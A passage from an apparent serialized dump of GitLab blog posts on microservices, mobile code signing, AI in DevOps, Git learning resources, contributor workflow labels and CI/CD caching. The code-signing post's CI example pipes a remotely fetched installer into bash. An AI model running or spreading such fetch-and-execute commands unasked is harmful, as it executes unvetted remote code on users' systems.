testing because, before deploying a microservice to production, consumers determine the required contract (API signature) and test to be sure they are still valid.\n\n### Monitor key metrics\n\nOnce key metrics have been determined, they must be constantly monitored and able to respond to any events detected. This can be difficult, but fortunately, there are tools that simplify monitoring and provide comprehensive visualization.\n\n## Microservices architecture and DevOps\n\nBy decomposing a software system into autonomous parts, [microservices architecture](/topics/microservices/) allows companies to apply the single responsibility principle to individual teams. It allows them to manage all aspects of a service independently: the team’s technical stack, team composition, deployment strategies, and even release schedules.\n\nMicroservices architecture, alongside continuous delivery, allows businesses to make decisions based on live production data, thereby expediting feedback loops and reducing the time to market.\n\nTo get started with microservices architecture, it’s a good idea to first develop strong intuitions in decomposing a large system and get a good knowledge base of CI/CD practices. Regardless of the architectural style you choose, these skills will be useful.",[4103,942,923],{"slug":12540,"featured":6,"template":678},"get-started-with-microservices-architecture","content:en-us:blog:get-started-with-microservices-architecture.yml","Get Started With Microservices Architecture","en-us/blog/get-started-with-microservices-architecture.yml","en-us/blog/get-started-with-microservices-architecture",{"_path":12546,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12547,"content":12553,"config":12558,"_id":12560,"_type":16,"title":12561,"_source":17,"_file":12562,"_stem":12563,"_extension":20},"/en-us/blog/mobile-devops-with-gitlab-part-1",{"title":12548,"description":12549,"ogTitle":12548,"ogDescription":12549,"noIndex":6,"ogImage":12550,"ogUrl":12551,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12551,"schema":12552},"Mobile DevOps: Code signing with project-level secure files","An introduction to mobile code signing with the new Project-level Secure Files feature.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668629/Blog/Hero%20Images/refargotohp-mzZp_9QpYLc-unsplash.jpg","https://about.gitlab.com/blog/mobile-devops-with-gitlab-part-1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Mobile DevOps with GitLab, Part 1 - Code signing with Project-level Secure Files\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darby Frey\"}],\n        \"datePublished\": \"2022-09-20\",\n      }",{"title":12554,"description":12549,"authors":12555,"heroImage":12550,"date":12536,"body":12556,"category":962,"tags":12557},"Mobile DevOps with GitLab, Part 1 - Code signing with Project-level Secure Files",[9796],"\n\nMobile teams face some unique challenges when it comes to establishing DevOps practices. Build tools are different, release and approval cycles with app stores can be slower and introduce more risk, and some applications require specialized runners. At GitLab, we are focused on finding solutions to these challenges to make it easier for [everyone to contribute](/company/mission/#everyone-can-contribute)! Starting with mobile code signing.\n\nThis post is the first in a series on mobile DevOps and it shows how GitLab makes code signing easier using a new feature called Project-level Secure Files.\n\n## A brief introduction to mobile code signing\n\nAndroid and iOS projects require special configuration files for secure application code signing to ensure an application on a user's device hasn't been tampered with. These configuration files can be challenging to manage in a [CI environment](/topics/ci-cd/benefits-continuous-integration/). Keystores, signing certificates, and provisioning profiles shouldn't be stored in version control because they contain sensitive information. These files are also binary (not text), so they can't easily be stored as CI variables.\n\nTo make this process easier, [we've introduced a feature in GitLab 15.0 called Project-level Secure Files](/releases/2022/05/22/gitlab-15-0-released/#project-level-secure-files-in-open-beta). This feature allows these files to be stored securely as part of a GitLab project but outside version control. Secure Files can then easily be loaded into a CI job when it's time to execute the code signing process.\n\nGet started by adding a secure file to a project:\n\n1. On the top bar, select **Menu > Projects** and find your project.\n2. On the left sidebar, select **Settings > CI/CD**.\n3. In the **Secure Files** section, select **Expand**.\n4. Select **Upload File**.\n5. Find the file to upload, select **Open**, and the file upload begins immediately. The file shows up in the list when the upload is complete.\n\n![Upload Secure File](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-1-introducing-project-level-secure-files/upload-secure-file.png)\n\n![List Secure Files](https://about.gitlab.com/images/blogimages/2022-09-19-mobile-devops-with-gitlab-part-1-introducing-project-level-secure-files/list-secure-files.png)\n\nWith the files securely stored with the project, the next step is to load them into a [CI/CD](/topics/ci-cd/) job. To use your secure files in a CI/CD job, you must use the [download-secure-files](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files) tool to download the files in the job. After downloading them, these files can be used in any CI job.\n\nAdd a command in the script section of your job to download the download-secure-files tool and execute it. It's also important to specify the download location for the secure files by setting the desired path in the `SECURE_FILES_DOWNLOAD_PATH` [CI/CD variable](https://docs.gitlab.com/ee/ci/variables/index.html).\n\nFor example:\n\n```\ntest:\n  variables:\n    SECURE_FILES_DOWNLOAD_PATH: './where/files/should/go/'\n  script:\n    - curl --silent \"https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files/-/raw/main/installer\" | bash\n```\n\nNow, when the CI job runs, all of the secure files will be available in the location specified. They can then be passed into a build script or loaded into the Apple keychain. \n\nThat's it! Give it a try, and let us know what you think in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/362407).\n\nNext time we will walk through [how to set up code signing for an Android app](/blog/mobile-devops-with-gitlab-part-2/).\n\nCover image by \u003Ca href=\"https://unsplash.com/@refargotohp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">refargotohp\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/mobile-app-building?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>.\n",[1899,4103,110],{"slug":12559,"featured":6,"template":678},"mobile-devops-with-gitlab-part-1","content:en-us:blog:mobile-devops-with-gitlab-part-1.yml","Mobile Devops With Gitlab Part 1","en-us/blog/mobile-devops-with-gitlab-part-1.yml","en-us/blog/mobile-devops-with-gitlab-part-1",{"_path":12565,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12566,"content":12572,"config":12577,"_id":12579,"_type":16,"title":12580,"_source":17,"_file":12581,"_stem":12582,"_extension":20},"/en-us/blog/why-ai-in-devops-is-here-to-stay",{"title":12567,"description":12568,"ogTitle":12567,"ogDescription":12568,"noIndex":6,"ogImage":12569,"ogUrl":12570,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12570,"schema":12571},"Why AI in DevOps is here to stay","Two years ago artificial intelligence wasn't part of mainstream software development. Now AI in DevOps is seemingly everywhere. Here's why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664015/Blog/Hero%20Images/laptop.jpg","https://about.gitlab.com/blog/why-ai-in-devops-is-here-to-stay","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why AI in DevOps is here to stay\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-09-15\",\n      }",{"title":12567,"description":12568,"authors":12573,"heroImage":12569,"date":12574,"body":12575,"category":962,"tags":12576},[11618],"2022-09-15","\nIn 2020, respondents to our annual Global DevSecOps Survey started mentioning artificial intelligence and machine learning for the first time. In that survey, roughly 16% of respondents were using “bots” to test code, or were planning to, while 12% of devs said knowledge of AI/ML would be critical to their future.\n\nFast forward just two years and [AI in DevOps](/topics/devops/the-role-of-ai-in-devops/) is a reality in teams around the world, according to our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/). \n\n- 24% of respondents said their DevOps practices include AI/ML, more than double the 2021 percentage.\n\n- 31% of teams are using AI/ML for code review, 16 points higher than last year. \n\n- Today 37% of teams use AI/ML in software testing (up from 25% in 2021), and 20% plan to introduce it this year. Another 19% plan to roll out AI/ML-powered testing in the next two to three years.\n\n- Fully 62% of survey takers are practicing ModelOps.\n\n- 51% use AI/ML to check (not test) code. \n\nAll told, only 5% of teams said they had _no plans_ to incorporate AI in DevOps.\n\nHere's a snapshot of where AI in DevOps is today and why, despite some challenges, AI will likely play an increasingly important role.\n\n## Why AI in DevOps\n\nIn many ways, [DevOps and AI/ML](/blog/ai-in-software-development/) are the perfect marriage: DevOps requires automation to reach maximum efficiency and AI/ML are obvious choices to tackle repetitive tasks. Imagine adding team members entirely focused on a single job, with incredible attention to detail and no need for vacations or even a coffee break – that’s an ML “bot” in a nutshell. \n\nWhen we asked DevOps teams what the most common reasons were for [software release delays](/blog/top-reasons-for-software-release-delays/), the answers called out steps that are critical but manual, tedious, time-consuming, and potentially rife with errors: [software testing](/blog/the-gitlab-guide-to-modern-software-testing/), code review, security testing and code development. For many teams, AI/ML could be key in streamlining these processes.\n\n## Smarter software testing\n\nNo DevOps process is perhaps in more need of streamlining than software testing, which is no doubt why teams have been adding AI/ML into the mix for several years now. Testing is that process [everyone loves to hate](/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook/), but it is also the step that needs to happen more often in all the ways, or at least that’s what developers tell us year after year. But there are so many different kinds of tests, limited development time, and even more constrained QA teams. Machine learning bots can help bridge the manpower gap, freeing up resources to focus on tests best done by humans. \n\nAnd increased testing creates another issue – test data management – that could ideally be triaged and dealt with using AI.\n\n## The benefits of ModelOps\n\nAI/ML solutions have also made their way into other DevOps steps, specifically [ModelOps](/direction/modelops/). Not only is this an area GitLab is focusing on ([beginning with smarter code reviews](/blog/the-road-to-smarter-code-reviewer-recommendations/)), but more than half of DevOps teams report they’re exploring what’s involved in bringing data science and operations together. \n\n## Beware the learning curve\n\nArtificial intelligence and machine learning are not without their challenges, however. In our 2022 survey, developers expressed very real concerns about the steep learning curves involved in the technology adoption. “Technology is rapidly changing,” was a thought shared by many developers, alongside “implementing AI is an enormous challenge.” \n\nOne developer summed it up: “4G, 5G, AI, Metaverse, virtual space - developers have to support all of this.”\n\nBrendan O'Leary, [staff developer evangelist at GitLab](/company/team/#brendan), says AI naturally has a big learning curve because it requires experimentation. \"This is not just a programming language,\" he explains. \"We've got some data and a hypothesis around it and AI is what's going to help us prove it. This is a different kind of experiment than other kinds of coding... we've got to learn how to measure the impact, understand it, and iterate on it. It's a different kind of paradigm.\"\n",[4103,8570,232],{"slug":12578,"featured":6,"template":678},"why-ai-in-devops-is-here-to-stay","content:en-us:blog:why-ai-in-devops-is-here-to-stay.yml","Why Ai In Devops Is Here To Stay","en-us/blog/why-ai-in-devops-is-here-to-stay.yml","en-us/blog/why-ai-in-devops-is-here-to-stay",{"_path":12584,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12585,"content":12591,"config":12597,"_id":12599,"_type":16,"title":12600,"_source":17,"_file":12601,"_stem":12602,"_extension":20},"/en-us/blog/git-resources-for-visual-learners",{"title":12586,"description":12587,"ogTitle":12586,"ogDescription":12587,"noIndex":6,"ogImage":12588,"ogUrl":12589,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12589,"schema":12590},"5 Git resources for visual learners","Learning Git is not commonplace in code instruction, yet it is essential for modern software development. These sites get you started.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668161/Blog/Hero%20Images/armycyberschool.jpg","https://about.gitlab.com/blog/git-resources-for-visual-learners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Git resources for visual learners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-09-14\",\n      }",{"title":12586,"description":12587,"authors":12592,"heroImage":12588,"date":12594,"body":12595,"category":813,"tags":12596},[12593],"PJ Metz","2022-09-14","\n[Git](https://Git-scm.com/doc) is free and open source version control and has become the industry standard for keeping track of changes in software. A recent [survey](https://www.jetbrains.com/lp/devecosystem-2021/) by JetBrains states that 93% of developers surveyed use Git for source control.  Even though it’s used by almost every software developer, it’s still not ubiquitously taught as part of coding courses. Many people end up learning Git either on the job or on their own.\n\nWe’ve gathered a list of sites to learn Git, whether you’re brand-new to it or you need to fine-tune your skills. These five resources are largely focused on visual learning and use either video-based tools or an interactive website or game. \n\n\n**1. [Oh My Git](https://ohmyGit.org/)**\n\nOh My Git is a gamified way of learning Git commands that includes a visualization of what effect your actions have on the repository. It’s card-based for early beginners. Think of it like Hearthstone or Magic the Gathering, but better for learning. It can also be played by using the command line as well. Start playing today! \n\n**2. [Git for Computer Scientists](https://eagain.net/articles/git-for-computer-scientists/)**\n\nI love the abstract for this site: “Quick introduction to Git internals for people who are not scared by words like Directed Acyclic Graph.” This website has lots of helpful graphs for people who aren’t necessarily working explicitly in software, and is intended for a specific audience of computer scientists; be aware before heading in. \n\n**3. [Learn Git Branching](https://Github.com/pcottle/learnGitBranching#learnGitbranching)**\n\nSometimes, the complicated part of Git is understanding what is actually happening when you’re creating or working with multiple branches. This visualization tool helpfully creates a real-time display of changes to commit trees. \n\n**4. [Explain Git with D3](https://onlywei.github.io/explain-git-with-d3/)**\n\nThis is such a great resource and one that everyone should have bookmarked. This website lets you type commands in a CLI and immediately see graphs representing what you did on the right. It has an open playground mode where you can just do whatever you like as well as structured lessons for common Git commands. If you use Git but it just feels like magic, then this is a great website for deepening your understanding of what Git does. \n\n**5. [Git for ages 4 and up](https://youtu.be/1ffBJ4sVUb4?t=125)**\n\nThis is a fantastic video of Michael G. Schwern at Linux conf.au in 2013. Using children's toys, Michael gives us a great example of what exactly goes on in Git. It’s an entertaining video with important basics and concepts for anyone struggling to understand Git. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/1ffBJ4sVUb4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Did you know? \n\nGitLab offers free Ultimate tier licenses to qualifying educational institutions when used for learning, teaching, or research? Learn more [here](/solutions/education/).\n",[1067,815,267],{"slug":12598,"featured":6,"template":678},"git-resources-for-visual-learners","content:en-us:blog:git-resources-for-visual-learners.yml","Git Resources For Visual Learners","en-us/blog/git-resources-for-visual-learners.yml","en-us/blog/git-resources-for-visual-learners",{"_path":12604,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12605,"content":12611,"config":12616,"_id":12618,"_type":16,"title":12619,"_source":17,"_file":12620,"_stem":12621,"_extension":20},"/en-us/blog/new-to-devops-take-our-devops-for-beginners-quiz",{"title":12606,"description":12607,"ogTitle":12606,"ogDescription":12607,"noIndex":6,"ogImage":12608,"ogUrl":12609,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12609,"schema":12610},"New to DevOps? Take our DevOps for beginners quiz","We asked nearly 1400 DevOps beginners about their priorities and challenges for 2022. See how you compare, and take our short DevOps for beginners quiz.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663743/Blog/Hero%20Images/three-things-i-learned-in-my-first-month-at-gitlab.jpg","https://about.gitlab.com/blog/new-to-devops-take-our-devops-for-beginners-quiz","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New to DevOps? Take our DevOps for beginners quiz\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-09-13\",\n      }",{"title":12606,"description":12607,"authors":12612,"heroImage":12608,"date":12613,"body":12614,"category":962,"tags":12615},[711],"2022-09-13","__Update: The quiz mentioned here has been closed.__\n\nOver the last 12 months, we’ve asked three [\"DevOps for beginners\"](https://about.gitlab.com/topics/devops/beginner-devops-platform/) questions of nearly 1400 people:\n\n- What’s the most important skill you hope to learn this year?\n- What continues to be your team’s biggest DevOps challenge?\n- What is your DevOps team’s top priority for 2022?\n\nA resounding majority (nearly 83%) told us they want to learn a new programming language and about 15% hope to get better at automation.\n\n(Learn the basics of Python with our [5-part series](/blog/learn-python-with-pj-part-1/), understand [Rust](/blog/rust-programming-language/), or [get started with CI/CD](/blog/beginner-guide-ci-cd/).)\n\nWhat are they struggling with?\n\nJust over 70% said security was the biggest challenge for their DevOps team this year (a result that tracks with our just released [Global DevSecOps Survey](/developer-survey/)), while just shy of 24% said it was testing (again, that’s [a very common complaint](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/)). \n\nThe top priorities for 2022 were split between increasing automation (47%) and moving to a [DevOps platform](/topics/devops-platform/) (23%).\n\nAnd we have more DevOps for beginner resources here:\n\n[Beginner’s Guide to DevOps eBook](https://page.gitlab.com/resources-ebook-beginners-guide-devops.html)\n\nA [step-by-step](/blog/if-its-time-to-learn-devops-heres-where-to-begin/) look at how to get started with DevOps\n\nA [guide to Git for beginners](/blog/beginner-git-guide/)\n\n[Continuous integration](/blog/a-beginners-guide-to-continuous-integration/)for beginners\n",[4103,8570,6962],{"slug":12617,"featured":6,"template":678},"new-to-devops-take-our-devops-for-beginners-quiz","content:en-us:blog:new-to-devops-take-our-devops-for-beginners-quiz.yml","New To Devops Take Our Devops For Beginners Quiz","en-us/blog/new-to-devops-take-our-devops-for-beginners-quiz.yml","en-us/blog/new-to-devops-take-our-devops-for-beginners-quiz",{"_path":12623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12624,"content":12629,"config":12633,"_id":12635,"_type":16,"title":12636,"_source":17,"_file":12637,"_stem":12638,"_extension":20},"/en-us/blog/pursuing-faster-time-to-merge-for-wider-community-contributions",{"title":12625,"description":12626,"ogTitle":12625,"ogDescription":12626,"noIndex":6,"ogImage":12013,"ogUrl":12627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12627,"schema":12628},"Pursuing faster time-to-merge for wider community contributions","How introducing more explicit contribution stages lowered the time it takes to merge a community contribution.","https://about.gitlab.com/blog/pursuing-faster-time-to-merge-for-wider-community-contributions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pursuing faster time-to-merge for wider community contributions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nick Veenhof\"}],\n        \"datePublished\": \"2022-09-13\",\n      }",{"title":12625,"description":12626,"authors":12630,"heroImage":12013,"date":12613,"body":12631,"category":813,"tags":12632},[7579],"\n\nOne of GitLab's core strategies is to [build on our open core\nstrength](/company/strategy/#2-build-on-our-open-core-strength). We believe that building a\nstrong community of contributors is key to the long-term success of GitLab. We believe in a [dual-flywheel\nstrategy](/company/strategy/#dual-flywheels) that focuses on both product contributions from\nwithin our GitLab engineering team and community contributions. \n\nOur goal is to grow to 1000 contributors per month. The saying is that \"All roads lead to Rome,\" but of course not all of those roads are the most efficient ways to get there. To succeed, contributing to GitLab must be a rewarding and incentivizing experience that\nmotivates contributors to come back. One of the strategic choices we made in the [contributor\nsuccess](https://about.gitlab.com/handbook/marketing/developer-relations/contributor-success/) team is the route of being as\nresponsive and clear as we can about the next steps, using processes and automation. \n\n## Problem statement\n\nSo where do we start? On average GitLab has over [550 open merge\nrequests](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&state=opened&label_name[]=Community%20contribution).\nWe wanted to focus on the _ready enough_ problem. When is an MR ready for review? And when is an MR still in development? In\nboth cases collaboration is required, but having a formal handoff — meaning this contribution is ready for a review — helps in\nunderstanding who is blocked from moving forward. Before a merge request can find its way into GitLab, it needs to get a\nreview from at least one maintainer.\n\nHow do we know when to ask specific maintainers of our product areas to put their focus on reviewing these merge requests? When is a merge request _ready enough_ for a thorough review? What does _ready enough_ even mean?\n\nSome OSS communities use crowdsourced reviews for contributions to make sure the project maintainers don’t need to take on everything by themselves. For example, in the Drupal community there is the concept of [Reviewed and Tested by the Community](https://www.drupal.org/community/contributor-guide/task/triage-the-drupal-core-rtbc-queue). At GitLab we have MR coaches and community help to make sure everything is as ready as can be before involving the maintainers.\n\nThe GitLab bot and our MR coaches try to assist the wider community contributors on their way. We also had a ping-pong label that tried to signify if a community contributor had reacted and it was ‘ping ponged 🏓’ back to the GitLab team members. This pingpong label didn’t take the context into account. It was a great iterative and [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) to know who was up next (the author or the reviewer). But it had a lot of false-positives and caused confusion to both the maintainers and the community contributors.\n\nSo where do we go from here? How do we get a better grasp on this _ready enough_ problem? Let’s start by asking for help from our recommended reading list, [High-Output Management](/handbook/leadership/high-output-management/). Author Andrew S. Grove states: “A very important way to increase productivity is to arrange the work flow inside our black box so that it will be characterized by high output per activity, which is to say high-leverage activities.”\n\n## Introducing workflow labels\n\nFor a while, GitLab team members were using workflow labels to signify the state of a merge request. It wasn’t always used across all teams, but they were available. More specifically we’re looking at the following labels:\n\n- `workflow::ready for review`\n- `workflow::in dev`\n- `workflow::blocked`\n\nEach wider community contributor is now [able to change these labels themselves](https://docs.gitlab.com/ee/development/contributing/#contribution-flow). By using `@gitlab-bot ready`, it sets the state to `workflow::ready for review` and assigns a reviewer. The reviewer is able to set it back to `workflow::in dev` if there are still items to be addressed. Other wider community members can also leave comments or suggestions for improvement, and then [set the label](https://about.gitlab.com/handbook/engineering/quality/triage-operations/#reactive-label-command) back to `workflow::in dev`, or set other labels to help triage these merge requests.\n\n## What have we learned so far?\n\nWe started using this system over two months ago. We now know that around 20% of MRs on average are in a \"ready for review\"\nstate. Those contributors are blocked and waiting for an answer to either continue to improve the merge request or get\nit merged if there are no more comments left. We also noticed that some merge requests were not getting a lot of\nattention. We did an async retrospective and feedback session with the GitLab team members and the wider community in order to find an answer on how we can\n[improve the time it takes before a review is made](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13718) for\ncontributions that were ready for a review. We’re still processing that feedback, but are looking to try some of these\nsuggestions, learn from them, and iterate. Even though GitLab cannot promise timely reviews, we can certainly try to\nbuild in mechanisms, and understand where we see limits, to navigate towards better processes. When we started out, we\nhad a median time of 17 days that an MR was in the ready for review state. Today that median time has been reduced to five days!\n\nThe median Open Community MR Age (OCMA) has also dropped from 139 days in April to 78 days in August. Maybe it is a\ncoincidence that we reached an all-time high of 126 contributors in August? Either way, all of the steps allowed our amazing wider\ncommunity contributors to get 440 merge requests merged in a single month! I’m certain this change contributed, among other\nchanges and initiatives, to that record. We will keep learning as we progress. It certainly allowed us to take a peek\ninto our little black box.\n\n## What’s next?\n\nNext up is to continue our iterations and move further towards automation. Right now it is up to the reviewer to set the\nstatus back to `workflow::in dev` whenever there is something left to address. We notice that this is not always changed\nback when it’s actually needed. It is also causing false-positives with reviewers and our wider community members.\nThe Contributor Success team is looking into how this can be automated. If you’d like to help, the automation happens in\nthe [Triage Ops project](https://gitlab.com/gitlab-org/quality/triage-ops/) and the Contributor Success [issue\nqueue](https://gitlab.com/gitlab-com/quality/contributor-success/-/issues) is open for everyone!\n\nWe’re also looking into a new program called [Leading\nOrganizations](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/110700) which rewards recurring\ncontributors, and their organizations, with a review time objective of four business days. This would lead us to even\nshorter review cycle times and give those organizations that contribute to GitLab a competitive advantage to stay\nleaders in their domain. The faster we can innovate together, the faster our dual flywheel will spin. Together we go to\ninfinity and beyond. Together we can build software fast.\n\n\n\n\n",[1207,2704,815],{"slug":12634,"featured":6,"template":678},"pursuing-faster-time-to-merge-for-wider-community-contributions","content:en-us:blog:pursuing-faster-time-to-merge-for-wider-community-contributions.yml","Pursuing Faster Time To Merge For Wider Community Contributions","en-us/blog/pursuing-faster-time-to-merge-for-wider-community-contributions.yml","en-us/blog/pursuing-faster-time-to-merge-for-wider-community-contributions",{"_path":12640,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12641,"content":12647,"config":12653,"_id":12655,"_type":16,"title":12656,"_source":17,"_file":12657,"_stem":12658,"_extension":20},"/en-us/blog/a-visual-guide-to-gitlab-ci-caching",{"title":12642,"description":12643,"ogTitle":12642,"ogDescription":12643,"noIndex":6,"ogImage":12644,"ogUrl":12645,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12645,"schema":12646},"A visual guide to GitLab CI/CD caching","Learn cache types, as well as when and how to use them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682443/Blog/Hero%20Images/cover.jpg","https://about.gitlab.com/blog/a-visual-guide-to-gitlab-ci-caching","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A visual guide to GitLab CI/CD caching\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthieu Fronton\"}],\n        \"datePublished\": \"2022-09-12\",\n      }",{"title":12642,"description":12643,"authors":12648,"heroImage":12644,"date":12650,"body":12651,"category":734,"tags":12652},[12649],"Matthieu Fronton","2022-09-12","\n\nIf you've ever worked with GitLab CI/CD you may have needed, at some point, to use a cache to share content between jobs. The decentralized nature of GitLab CI/CD is a strength that can confuse the understanding of even the best of us when we want to connect wires all together. For instance, we need to know critical information such as the difference between artifacts and cache and where/how to place setups.\n\nThis visual guide will help with both challenges.\n\n## Cache vs. artifacts\n\nThe concepts _may_ seem to overlap because they are about sharing content between jobs, but they actually are fundamentally different:\n\n- If your job does not rely on the the previous one (i.e. can produce it by itself but if content already exists the job will run faster), then use cache.\n- If your job does rely on the output of the previous one (i.e. cannot produce it by itself), then use artifacts and dependencies.\n\nHere is a simple sentence to remember if you struggle between choosing cache or artifact:\n> Cache is here to speed up your job but it may not exist, so don't rely on it.\n\nThis article will focus on **cache**.\n\n## Initial setup\n\nWe'll go with a simple representation of the GitLab CI/CD pipelining model and ignore (for now) that the jobs can be executed on any runners and hosts. It will help get the basics.\n\nLet's say you have:\n- 1 project with 3 branches\n- 1 host running 2 docker runners\n\n![Initial setup](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-1.png){: .shadow.center}\n\n## Local cache: Docker volume\n\nIf you want a [local cache](https://docs.gitlab.com/ee/ci/caching/index.html#where-the-caches-are-stored) between all your jobs running on the same runner, use the [cache statement](https://docs.gitlab.com/ee/ci/yaml/#cache) in your `.gitlab-ci.yml`:\n\n```yaml\ndefault:\n  cache:\n    path:\n      - relative/path/to/folder/*.ext\n      - relative/path/to/another_folder/\n      - relative/path/to/file\n```\n\n![local / container / all branches / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-2.png){: .shadow.center}\n\nUsing the [predefined variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) `CI_COMMIT_REF_NAME` as the [cache key](https://docs.gitlab.com/ee/ci/yaml/index.html#cachekey), you can ensure the cache is tied to a specific branch:\n\n```yaml\ndefault:\n  cache:\n    key: $CI_COMMIT_REF_NAME\n    path:\n      - relative/path/to/folder/*.ext\n      - relative/path/to/another_folder/\n      - relative/path/to/file\n```\n\n![local / container / one branch / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-3.png){: .shadow.center}\n\nUsing the [predefined variable](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) `CI_JOB_NAME` as the [cache key](https://docs.gitlab.com/ee/ci/yaml/index.html#cachekey), you can ensure the cache is tied to a specific job:\n\n![local / container / all branch / one jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-4.png){: .shadow.center}\n\n## Local cache: Bind mount\n\nIf you don't want to use a volume for caching purposes (debugging purpose, cleanup disk space more easily, etc.), you can configure a [bind mount for Docker volumes](https://docs.docker.com/storage/bind-mounts/) while registering the runner. With this setup, you do not need to set up the [cache statement](https://docs.gitlab.com/ee/ci/yaml/#cache) in your `.gitlab-ci.yml`:\n\n```yaml\n#!/bin/bash\n\ngitlab-runner register                             \\\n  --name=\"Bind-Mount Runner\"                       \\\n  --docker-volumes=\"/host/path:/container/path:rw\" \\\n...\n```\n\n![local / one runners / one host / all branch / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-5.png){: .shadow.center}\n\nIn fact, this setup even allows you to share a cache between jobs running on the same host without requiring you to set up a distributed cache (which we'll talk about later):\n\n```yaml\n#!/bin/bash\n\ngitlab-runner register                             \\\n  --name=\"Bind-Mount Runner X\"                     \\\n  --docker-volumes=\"/host/path:/container/path:rw\" \\\n...\n\ngitlab-runner register                                 \\\n  --name=\"Bind-Mount Runner Y\"                         \\\n  --docker-volumes=\"/host/path:/container/alt/path:rw\" \\\n...\n```\n\n![local / multiple runners / one host / all branch / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-6.png){: .shadow.center}\n\n## Distributed cache\n\nIf you want to have a [shared cache](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) between all your jobs running on multiple runners and hosts, use the \u003Ca href=\"https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscache-section\">[runner.cache]\u003Ca> section in your `config.toml`:\n\n```yaml\n[[runners]]\n  name = \"Distributed-Cache Runner\"\n...\n  [runners.cache]\n    Type = \"s3\"\n    Path = \"bucket/path/prefix\"\n    Shared = true\n    [runners.cache.s3]\n      ServerAddress = \"s3.amazonaws.com\"\n      AccessKey = \"\u003Cchangeme>\"\n      SecretKey = \"\u003Cchangeme>\"\n      BucketName = \"foobar\"\n      BucketLocation = \"us-east-1\"\n```\n\n![remote / multiple runners / multiple hosts / all branch / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-7.png){: .shadow.center}\n\nUsing the predefined variable `CI_COMMIT_REF_NAME` as the cache key you can ensure the cache is tied to a specific branch between multiple runners and hosts:\n\n![remote / multiple runners / multiple hosts / one branch / all jobs](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-8.png){: .shadow.center}\n\n## Real-life setup\n\nThe above assumptions allowed you to harness your understanding of the concepts and possibilities.\n\nIn real life, you'll face more complex wiring and we hope this article will help you as a visual cheatsheet along with the reference documentation.\n\nJust to give you a sneak peek, here is an exercise for you:\n\n- Set up a cache between all the jobs of a specific stage, running on any runner and any hosts, but only between pipeline of the same branches:\n\n![Real-life test assignment](https://about.gitlab.com/images/blogimages/visual-guide-caching/vgc-9.png){: .shadow.center}\n\nHappy caching, folks!\n\n\n\nCover image by [Alina Grubnyak](https://unsplash.com/@alinnnaaaa) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1384,1385,4103,696],{"slug":12654,"featured":6,"template":678},"a-visual-guide-to-gitlab-ci-caching","content:en-us:blog:a-visual-guide-to-gitlab-ci-caching.yml","A Visual Guide To Gitlab Ci 